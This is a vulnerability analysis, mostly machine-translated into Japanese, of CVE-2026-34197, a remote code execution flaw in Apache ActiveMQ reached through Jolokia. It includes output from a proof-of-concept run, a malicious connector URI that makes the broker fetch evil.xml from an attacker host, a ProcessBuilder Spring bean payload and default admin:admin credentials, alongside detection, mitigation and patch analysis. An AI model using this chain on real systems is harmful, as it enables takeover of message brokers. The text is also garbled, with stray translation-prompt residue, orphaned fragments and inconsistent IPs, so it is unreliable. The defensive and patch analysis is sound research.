入力:```bash
❯ python3 exploit_poc.py auto \
    --target http://localhost:8161 \
    --lhost 192.168.1.32 --lport 9999 \
    --cmd "touch /tmp/blahblah.txt"

======================================================================
  CVE-2026-34197 — ActiveMQ RCE via Jolokia + VM Transport
  For authorized security testing and research only.
======================================================================

[*] Target: http://localhost:8161
[*] Command: touch /tmp/blahblah.txt
[*] Serving malicious Spring XML on http://0.0.0.0:9999/evil.xml
[+] Jolokia accessible — agent version: unknown
[*] Could not discover broker name, using default 'localhost'
[*] Sending exploit payload to http://localhost:8161/api/jolokia/
[*] Malicious URI: static:(vm://evil?brokerConfig=xbean:http://192.168.1.17:9999/evil.xml)
[+] Target fetched payload: /evil.xml
[+] Target fetched payload: /evil.xml
[+] Jolokia returned 200 — exploit payload delivered
[+] Response: {
  "request": {
    "mbean": "org.apache.activemq:brokerName=localhost,type=Broker",
    "arguments": [
      "static:(vm://evil?brokerConfig=xbean:http://192.168.1.17:9999/evil.xml)"
    ],
    "type": "exec",
    "operation": "addNetworkConnector(java.lang.String)"
  },
  "value": "NC",
  "timestamp": 1775616523,
  "status": 200
}
[*] Waiting 5s for target to fetch payload...
[+] Target fetched payload: /evil.xml
[+] Target fetched payload: /evil.xml
[+] Target fetched payload: /evil.xml
[+] Target fetched payload: /evil.xml
[+] Done. Verify command execution on target.

=> RCEが成功し、ターゲットシステム上にファイル`blahblah.txt`が作成されました。

# 分析フェーズ
## 動的解析```bash
❯ docker exec activemq-vuln java -version 

openjdk version "11.0.24" 2024-07-16
OpenJDK Runtime Environment Temurin-11.0.24+8 (build 11.0.24+8)
OpenJDK 64-Bit Server VM Temurin-11.0.24+8 (build 11.0.24+8, mixed mode, sharing)

❯ docker exec activemq-vuln sh -c 'ls /opt/apache-activemq/lib | grep activemq'
activemq-broker-5.18.6.jar
activemq-client-5.18.6.jar
activemq-console-5.18.6.jar
activemq-jaas-5.18.6.jar
activemq-kahadb-store-5.18.6.jar
activemq-openwire-legacy-5.18.6.jar
activemq-protobuf-1.1.jar
activemq-rar.txt
activemq-spring-5.18.6.jar
activemq-web-5.18.6.jar

接続を確認する```bash
❯ curl -i -u admin:admin \
  -H 'Origin: http://localhost:8161' \
  http://localhost:8161/api/jolokia/
HTTP/1.1 200 OK
Date: Mon, 18 May 2026 04:37:28 GMT
X-FRAME-OPTIONS: SAMEORIGIN
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Cache-Control: no-cache
Access-Control-Allow-Origin: http://localhost:8161
Access-Control-Allow-Credentials: true
Content-Type: text/plain;charset=utf-8
Pragma: no-cache
Expires: Mon, 18 May 2026 03:37:28 GMT
Transfer-Encoding: chunked

{"request":{"type":"version"},"value":{"agent":"1.7.1","protocol":"7.2","config":{"listenForHttpService":"true","authIgnoreCerts":"false","agentId":"172.21.0.2-42-aa61e4e-servlet","debug":"false","agentType":"servlet","policyLocation":"${prop:jolokia.conf}","agentContext":"\/jolokia","serializeException":"false","mimeType":"text\/plain","dispatcherClasses":"org.jolokia.http.Jsr160ProxyNotEnabledByDefaultAnymoreDispatcher","multicastGroup":"239.192.48.84","authMode":"basic","authMatch":"any","streaming":"true","canonicalNaming":"true","historyMaxEntries":"10","allowErrorDetails":"false","allowDnsReverseLookup":"true","realm":"jolokia","includeStackTrace":"true","multicastPort":"24884","useRestrictorService":"false","debugMaxEntries":"100"},"info":{"product":"activemq","vendor":"Apache","version":"5.18.6"}},"timestamp":1779079048,"status":200}

次に、クリーンチェーンをgrepで検索します。```bash
❯ grep -E \
'addNetworkConnector|doCompositeConnect|createBroker|ResourceXmlApplicationContext|loadBeanDefinitions|ProcessBuilder|xbean|brokerConfig' \
activemq-rce.log
Loading message broker from: xbean:activemq.xml
 INFO | Establishing network connection from vm://localhost to vm://evil?brokerConfig=xbean:http://192.168.1.17:9999/evil.xml
	at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:342) ~[spring-beans-5.3.39.jar:5.3.39]
	at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:310) ~[spring-beans-5.3.39.jar:5.3.39]
	at org.apache.xbean.spring.context.ResourceXmlApplicationContext.loadBeanDefinitions(ResourceXmlApplicationContext.java:116) ~[xbean-spring-4.25.jar:4.25]
	at org.apache.xbean.spring.context.ResourceXmlApplicationContext.loadBeanDefinitions(ResourceXmlApplicationContext.java:104) ~[xbean-spring-4.25.jar:4.25]
	at org.apache.xbean.spring.context.ResourceXmlApplicationContext.<init>(ResourceXmlApplicationContext.java:64) ~[xbean-spring-4.25.jar:4.25]
	at org.apache.xbean.spring.context.ResourceXmlApplicationContext.<init>(ResourceXmlApplicationContext.java:52) ~[xbean-spring-4.25.jar:4.25]
	at org.apache.activemq.xbean.XBeanBrokerFactory$1.<init>(XBeanBrokerFactory.java:104) ~[activemq-spring-5.18.6.jar:5.18.6]
	at org.apache.activemq.xbean.XBeanBrokerFactory.createApplicationContext(XBeanBrokerFactory.java:104) ~[activemq-spring-5.18.6.jar:5.18.6]
	at org.apache.activemq.xbean.XBeanBrokerFactory.createBroker(XBeanBrokerFactory.java:67) ~[activemq-spring-5.18.6.jar:5.18.6]
	at org.apache.activemq.broker.BrokerFactory.createBroker(BrokerFactory.java:71) ~[activemq-broker-5.18.6.jar:5.18.6]
	at org.apache.activemq.broker.BrokerFactory.createBroker(BrokerFactory.java:54) ~[activemq-broker-5.18.6.jar:5.18.6]
	at org.apache.activemq.transport.vm.VMTransportFactory.doCompositeConnect(VMTransportFactory.java:125) ~[activemq-broker-5.18.6.jar:5.18.6]
	at org.apache.activemq.broker.jmx.BrokerView.addNetworkConnector(BrokerView.java:388) ~[activemq-broker-5.18.6.jar:5.18.6]
	at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:333) ~[spring-beans-5.3.39.jar:5.3.39]
 WARN | Could not connect to remote URI: vm://evil?brokerConfig=xbean:http://192.168.1.17:9999/evil.xml: IOException parsing XML document from URL [http://192.168.1.17:9999/evil.xml]; nested exception is java.net.ConnectException: Connection refused (Connection refused)

この行は、攻撃者が制御するURIが次の方法で供給されることを確認するため、重要です:```java
BrokerView.addNetworkConnector(String)

このURIには、2つの重要な部分が含まれています：

| コンポーネント         | 目的                                                         |
| ---------------------- | ------------------------------------------------------------ |
| `static:(...)`         | ActiveMQ ディスカバリコネクタで使用されるラッパー             |
| `vm://evil?...`        | ActiveMQ が内部で処理するVMトランスポートURI                 |

`static:(...)` ラッパー自体は脆弱なコンポーネントではありません。その目的は、囲まれたトランスポートURIをActiveMQのネットワークコネクタサブシステムに渡すことです。

ランタイム実行中、ActiveMQは内部のVMトランスポートURIを抽出して処理しました：```text
vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml

`brokerConfig=` パラメータがペイロードの重要な部分です。これはVMトランスポート層に対し、以下の場所から読み込まれた外部Spring xbean構成を使用してブローカーインスタンスを動的に作成するよう指示しました。```text
http://192.168.1.32:9999/evil.xml

その結果、リモートのXMLドキュメントが解析され、ブローカーのJVM内でSpringアプリケーションコンテキストとしてインスタンス化されました。悪意のあるXMLには、以下のSpring Beanが含まれていました。```xml
<bean id="exec" class="java.lang.ProcessBuilder" init-method="start">

Springはコンテキスト初期化中にシングルトンビーンを即座にインスタンス化するため、ActiveMQがブローカー設定自体が安全か有効かを検証する前に、`ProcessBuilder.start()`メソッドが実行されました。

これにより、ターゲットコンテナ上で任意のコマンド実行が可能になりました。

このエクスプロイトは、ActiveMQコンテナ内の`/tmp`ディレクトリを確認することで検証されました:```bash
❯ docker exec -it activemq-vuln ls -lah /tmp

total 16K
drwxrwxrwt 1 root root 4.0K May 18 04:01 .
drwxr-xr-x 1 root root 4.0K May 18 03:40 ..
-rw-r--r-- 1 root root    0 May 18 04:01 blahblah.txt
drwxr-xr-x 1 root root 4.0K May 18 04:06 hsperfdata_root

これは、ActiveMQコンテナコンテキスト内で任意のOSコマンドが正常に実行されたことを証明しています。

実行時スタックトレースにより、完全な脆弱な実行パスも明らかになりました。```text
BrokerView.addNetworkConnector()
  ->
VMTransportFactory.doCompositeConnect()
  ->
BrokerFactory.createBroker()
  ->
XBeanBrokerFactory.createApplicationContext()
  ->
ResourceXmlApplicationContext
  ->
XmlBeanDefinitionReader.loadBeanDefinitions()
  ->
Spring bean instantiation
  ->
ProcessBuilder.start()
  ->
OS command execution

動的解析中に最も重要な観察結果の1つは、SpringとActiveMQが悪意のある設定を処理する順序でした。

ペイロードが正常に実行された後、ActiveMQは後で次の警告を生成しました：```text
WARN | Could not connect to remote URI:
The configuration has no BrokerService instance for resource:
xbean:http://192.168.1.32:9999/evil.xml

ブローカー設定自体は最終的に拒否されたものの、悪意のあるSpring Beanはすでにインスタンス化され、実行されていました。

この順序の問題がCVE-2026-34197の核となる論理的欠陥です。

動的解析により、エクスプロイトチェーンに関与する以下のコンポーネントが特定されました：

| コンポーネント | 役割 |
| ----------------------------- | ---------------------------------- |
| Jolokia | HTTPからJMXへのブリッジ |
| BrokerView | 公開された管理MBean |
| VMTransportFactory | `vm://`トランスポートURIを解析する |
| BrokerFactory | ブローカーインスタンスを作成する |
| XBeanBrokerFactory | Spring xbean設定を読み込む |
| ResourceXmlApplicationContext | リモートXMLを読み込む |
| XmlBeanDefinitionReader | Spring Bean定義を解析する |
| Spring BeanFactory | シングルトンBeanをインスタンス化する |
| ProcessBuilder | オペレーティングシステムコマンドを実行する |

動的解析により、CVE-2026-34197は以下の相互作用によって引き起こされることが確認されました：

* 過度に寛容なJolokia管理操作
* 攻撃者によって制御されたトランスポートURI
* VMトランスポートブローカーの自動生成
* Spring xbeanリモート設定の読み込み
* 検証前のシングルトンBeanの即時インスタンス化

その結果、認証された攻撃者は、Jolokiaが公開する`addNetworkConnector()`操作を通じて悪意のある`brokerConfig=xbean:http://...` URIを提供することで、ActiveMQ JVM上で任意のコード実行を達成できます。

### アーキテクチャ概要

Apache ActiveMQ Classicは、Jolokia JMX-HTTPブリッジを通じて管理インターフェースを公開しており、次の場所で利用可能です：```text id="n0vmrq"
/api/jolokia/

以下のコンポーネントがエクスプロイトチェーンに関与していました：

| コンポーネント         | 機能                                           |
| ---------------------- | ---------------------------------------------- |
| Jolokia                | HTTP経由でJMX操作を公開する                    |
| BrokerView             | 管理MBeanインターフェース                      |
| VMTransportFactory     | `vm://` トランスポートURIを処理する            |
| BrokerFactory          | ブローカーを動的に作成する                     |
| XBeanBrokerFactory     | Spring xbean構成をロードする                   |
| Spring Context Loader  | XML Bean定義をパースしてインスタンス化する     |
| ProcessBuilder         | オペレーティングシステムコマンドを実行する     |

ActiveMQが認証済みユーザーに対して、攻撃者が制御するトランスポートURIを使って危険なブローカー管理メソッドを呼び出すことを許可しているため、このアーキテクチャは脆弱になります。

---

### 攻撃面の分析

主な攻撃面は、ActiveMQ Webコンソールを通じて公開されるJolokia HTTPエンドポイントです。```text id="xq7vba"
http://<target>:8161/api/jolokia/

Jolokiaエンドポイントは、HTTP基本認証を使用した認証リクエストを受け入れました:```json id="13tzmx"
"authMode":"basic"

このメソッドは、危険なURIスキームや設定パラメータを十分に制限せずに、ユーザー制御のトランスポートURIを受け入れます。

攻撃者は以下のペイロードを提供しました:```text id="v3u3f2"
static:(vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml)

重要なパラメータは:

---```text id="s59jsn"
brokerConfig=xbean:http://attacker/evil.xml

Springはその後、リモートのXMLを次のようにして読み込みました：```text id="i54jqs"
org.apache.xbean.spring.context.ResourceXmlApplicationContext

Springアプリケーションコンテキストの初期化中、シングルトンビーンは即座にインスタンス化されます。その結果、`ProcessBuilder.start()`メソッドが直ちに実行されました。

主な論理上の欠陥は、ActiveMQがブローカー構成自体の安全性や有効性を検証する前に、Springビーンのインスタンス化が発生したことです。

この動作は次のように動的に証明されました。

1. 悪意のあるペイロードが正常に`/tmp/blahblah.txt`を作成しました。
2. ActiveMQは後でブローカー構成を拒否しました。```text id="6k1dwn"
The configuration has no BrokerService instance

を通じて:```text id="pt2n3d"
/api/jolokia/

悪意のあるペイロードの例:```text id="wjsowq"
static:(vm://evil?brokerConfig=xbean:http://attacker/evil.xml)

ブローカJVMからの予期しない送信HTTPトラフィックは調査されるべきです。

#### 疑わしいランタイムログ

以下のランタイムメッセージは疑わしいです：```text id="1zj8yf"
Establishing network connection from vm://localhost to vm://evil

（入力が提供されていません。翻訳するコンテンツを入力として提供してください。）```text id="jzsk0g"
XmlBeanDefinitionReader.loadBeanDefinitions

またはActiveMQ JVMからの不審な子プロセス実行は、悪用を示している可能性があります。

---

### 影響分析

悪用に成功すると、ActiveMQ JVMコンテキスト内で認証されたリモートコード実行が可能になります。

分析対象の環境では、コンテナ内で任意のオペレーティングシステムコマンドが正常に実行されました。```bash id="2hyz0w"
touch /tmp/blahblah.txt

ファイルは次のように作成されました：```text id="9phgkz"
Uid: (0/root)

#### Jolokia アクセスを制限する

不要であれば Jolokia を無効にします。

Jolokia を有効にしておく必要がある場合:

* 信頼できる管理ネットワークへのアクセスを制限する
* 強力な認証を強制する
* 危険な exec 操作を無効にする
* 厳格な Jolokia アクセスポリシーを適用する

#### デフォルト認証情報を削除する

使用しないでください:```text id="9mw1xv"
admin:admin

MBeanインターフェースは、操作を次のように公開します：```java
// activemq-broker/src/main/java/org/apache/activemq/broker/jmx/BrokerViewMBean.java
@MBeanInfo("Adds a Network Connector to the broker.")
String addNetworkConnector(@MBeanInfo("discoveryAddress") String discoveryAddress) throws Exception;

コネクタオブジェクトは、ローカルブローカのURIを使って設定され、ブローカに追加されます：```java
// activemq-broker/src/main/java/org/apache/activemq/broker/BrokerService.java
public NetworkConnector addNetworkConnector(NetworkConnector connector) throws Exception {
    connector.setBrokerService(this);
    connector.setLocalUri(getVmConnectorURI());
    ...
    networkConnectors.add(connector);
    return connector;
}

エクスプロイトURIの場合:```text
static:(vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml)

脆弱なメソッドは:```java
// activemq-broker/src/main/java/org/apache/activemq/transport/vm/VMTransportFactory.java
public Transport doCompositeConnect(URI location) throws Exception

`create` オプションのデフォルトは `true` です:```java
boolean create = true;
...
if ("false".equals(options.remove("create"))) {
    create = false;
}

これはトランスポートレベルの権限境界の障害です。管理プレーンを通じて提供されたURIは、VMトランスポートによって任意の構成URIからブローカーを作成する命令として評価されます。

残りのパラメータ検証は、ブローカー作成後に行われます。```java
if (!options.isEmpty()) {
    throw new IllegalArgumentException("Invalid connect parameters: " + options);
}
return transport;

For `static:(...)`, `SimpleDiscoveryAgent.start()` は、設定された各サービスを即座に発行します:```java
// activemq-client/src/main/java/org/apache/activemq/transport/discovery/simple/SimpleDiscoveryAgent.java
public void start() throws Exception {
    taskRunner = new TaskRunnerFactory();
    taskRunner.init();

    running.set(true);
    for (int i = 0; i < services.length; i++) {
        listener.onServiceAdd(new SimpleDiscoveryEvent(services[i]));
    }
}

ハンドラルックアップはスキームベースです:```java
private static final FactoryFinder BROKER_FACTORY_HANDLER_FINDER =
    new FactoryFinder("META-INF/services/org/apache/activemq/broker/");

public static BrokerFactoryHandler createBrokerFactoryHandler(String type) throws IOException {
    try {
        return (BrokerFactoryHandler)BROKER_FACTORY_HANDLER_FINDER.newInstance(type);
    } catch (Throwable e) {
        throw IOExceptionSupport.create("Could not load " + type + " factory:" + e, e);
    }
}

正確な静的呼び出しフロー:```text
BrokerView.addNetworkConnector(String)
  -> BrokerService.addNetworkConnector(String)
  -> BrokerService.addNetworkConnector(URI)
  -> DiscoveryNetworkConnector.<init>(URI)
  -> DiscoveryNetworkConnector.handleStart()
  -> SimpleDiscoveryAgent.start()
  -> DiscoveryNetworkConnector.onServiceAdd(DiscoveryEvent)
  -> TransportFactory.connect(URI)
  -> VMTransportFactory.doConnect(URI)
  -> VMTransportFactory.doCompositeConnect(URI)
  -> BrokerFactory.createBroker(URI)
  -> BrokerFactory.createBroker(URI, boolean)
  -> XBeanBrokerFactory.createBroker(URI)

宛先:

宛先:```text
BrokerFactory.createBroker(new URI("xbean:http://attacker/evil.xml"))

`createBroker()` は、`xbean:` URIのスキーム固有部分を抽出し、それがブローカーを含むかどうかを確認する前に、Springアプリケーションコンテキストを作成します:```java
public BrokerService createBroker(URI config) throws Exception {
    String uri = config.getSchemeSpecificPart();
    if (uri.lastIndexOf('?') != -1) {
        IntrospectionSupport.setProperties(this, URISupport.parseQuery(uri));
        uri = uri.substring(0, uri.lastIndexOf('?'));
    }

    ApplicationContext context = createApplicationContext(uri);

    BrokerService broker = null;
    try {
        broker = (BrokerService)context.getBean("broker");
    } catch (BeansException e) {
    }
    ...
}

リモートリソースは `Utils.resourceFromString()` によって受け入れられます:```java
// activemq-spring/src/main/java/org/apache/activemq/spring/Utils.java
public static Resource resourceFromString(String uri) throws MalformedURLException {
    Resource resource;
    File file = new File(uri);
    if (file.exists()) {
        resource = new FileSystemResource(uri);
    } else if (ResourceUtils.isUrl(uri)) {
        try {
            resource = new UrlResource(ResourceUtils.getURL(uri));
        } catch (FileNotFoundException e) {
            MalformedURLException malformedURLException = new MalformedURLException(uri);
            malformedURLException.initCause(e);
            throw  malformedURLException;
        }
    } else {
        resource = new ClassPathResource(uri);
    }
    return resource;
}

は次のように簡略化される：```text
http://192.168.1.32:9999/evil.xml

XBean 4.25 では、`ResourceXmlApplicationContext` はコンストラクタから `refresh()` を呼び出します:```java
// org/apache/xbean/spring/context/ResourceXmlApplicationContext.java
public ResourceXmlApplicationContext(Resource resource, List xmlPreprocessors) {
    super();
    this.xmlPreprocessors = xmlPreprocessors;
    this.resource = resource;
    refresh();
}

Springの`AbstractApplicationContext.refresh()`は、ビーンファクトリーを初期化し、非遅延シングルトンビーンをインスタンス化します:```java
// org/springframework/context/support/AbstractApplicationContext.java
// Instantiate all remaining (non-lazy-init) singletons.
finishBeanFactoryInitialization(beanFactory);

`DefaultListableBeanFactory.preInstantiateSingletons()` は、非抽象、シングルトン、非遅延のすべてのBeanを作成します。```java
for (String beanName : beanNames) {
    RootBeanDefinition bd = getMergedLocalBeanDefinition(beanName);
    if (!bd.isAbstract() && bd.isSingleton() && !bd.isLazyInit()) {
        ...
        getBean(beanName);
    }
}

カスタムinitメソッドはBean定義から解決されます。```java
String initMethodName = mbd.getInitMethodName();
if (StringUtils.hasLength(initMethodName) &&
        !(isInitializingBean && "afterPropertiesSet".equals(initMethodName)) &&
        !mbd.hasAnyExternallyManagedInitMethod(initMethodName)) {
    invokeCustomInitMethod(beanName, bean, mbd);
}

悪意のあるSpring XML bean、例えば：```xml
<bean id="exec" class="java.lang.ProcessBuilder" init-method="start">
    <constructor-arg>
        <list>
            <value>sh</value>
            <value>-c</value>
            <value>touch /tmp/blahblah.txt</value>
        </list>
    </constructor-arg>
</bean>

これは、`XBeanBrokerFactory.createBroker()`が`BrokerService`ビーンを探すことで結果のコンテキストを検証する前に発生します：```java
ApplicationContext context = createApplicationContext(uri);

BrokerService broker = null;
try {
    broker = (BrokerService)context.getBean("broker");
} catch (BeansException e) {
}

if (broker == null) {
    String[] names = context.getBeanNamesForType(BrokerService.class);
    ...
}

if (broker == null) {
    throw new IllegalArgumentException("The configuration has no BrokerService instance for resource: " + config);
}

検証が遅すぎるのは、`XBeanBrokerFactory`内の唯一のブローカー設定検証が次の後に行われるためです:```java
new ResourceXmlApplicationContext(resource)

ActiveMQがXMLに有効な`BrokerService`がないと判断するまでに、攻撃者制御のSpring Beanがすでに実行されている可能性があります。

---

### パッチ分析

該当する差分は以下でレビューされました：```bash
git diff activemq-5.18.6..activemq-5.19.4

5.18.6では、`addNetworkConnector()`が文字列を直接転送していました：```java
public String addNetworkConnector(String discoveryAddress) throws Exception {
    NetworkConnector connector = brokerService.addNetworkConnector(discoveryAddress);
    ...
    connector.start();
    return connector.getName();
}

同じバリデーションが `addConnector()` に追加されました:```diff
 public String addConnector(String discoveryAddress) throws Exception {
+    // Verify VM transport is not used
+    validateAllowedUrl(discoveryAddress);
     TransportConnector connector = brokerService.addConnector(discoveryAddress);

// First check the main URI scheme
validateAllowedScheme(uri.getScheme());

// If composite, iterate and check each of the composite URIs
if (URISupport.isCompositeURI(uri)) {
    URISupport.CompositeData data = URISupport.parseComposite(uri);
    depth++;
    for (URI component : data.getComponents()) {
        if (URISupport.isCompositeURI(uri)) {
            validateAllowedUri(component, depth);
        } else {
            validateAllowedScheme(uri.getScheme());
        }
    }
}

パッチ適用後の実行パスは次のようになります。```text
Jolokia exec
  -> BrokerView.addNetworkConnector(String)
  -> validateAllowedUrl(String)
  -> validateAllowedUri(URI)
  -> validateAllowedScheme("vm")
  -> IllegalArgumentException("VM scheme is not allowed")

このパッチは、VMトランスポートのサポートをグローバルに削除するものではありません。JMX向けの`BrokerView`コネクタ作成メソッドを介した`vm://`の使用を制限します。VMトランスポートを使用する内部または信頼されたコードパスは引き続き存在します。

`VMTransportFactory.doCompositeConnect()`に対して、5.18.6と5.19.4の間でセキュリティに関連する変更は行われていません。`brokerConfig`の動作は次のままです：```java
String config = options.remove("brokerConfig");
if (config != null) {
    brokerURI = new URI(config);
}
...
broker = BrokerFactory.createBroker(brokerURI);

これは型安全性のクリーンアップであり、RCE対策ではありません。`XBeanBrokerFactory`へのスキームベースのディスパッチはそのまま残ります。

`BrokerService`は一部のパスでコネクタ起動のために`isAutoStart()`のチェックを追加しました。```diff
- connector.start();
+ if(connector.isAutoStart()) {
+     connector.start();
+ }

Exploitation is possible because ActiveMQ exposes a management operation that accepts a connector URI, but the downstream transport implementation can interpret that URI as broker creation configuration. The `brokerConfig` parameter crosses from transport connection logic into broker factory logic. With an `xbean:` value, it crosses again into Spring XML processing.

The Spring execution primitive is not a separate deserialization bug. It is normal Spring lifecycle behavior: a non-lazy singleton bean is instantiated during context refresh, and its configured `init-method` is invoked. A `java.lang.ProcessBuilder` bean with `init-method="start"` therefore executes a process during application context initialization.

The validation failure is an ordering flaw. ActiveMQ validates whether the XBean configuration contains a usable `BrokerService` only after `ResourceXmlApplicationContext` has already loaded the XML and initialized singleton beans. Rejection of the broker configuration after refresh does not undo side effects from bean lifecycle methods.

The 5.19.4 patch mitigates this specific path by adding URI validation in `BrokerView` before connector creation and rejecting `vm://` transport usage from the JMX management surface. The patch blocks the exposed path to `VMTransportFactory.doCompositeConnect()`; it does not remove `brokerConfig`, `xbean:` support, or Spring XBean loading from trusted internal configuration paths.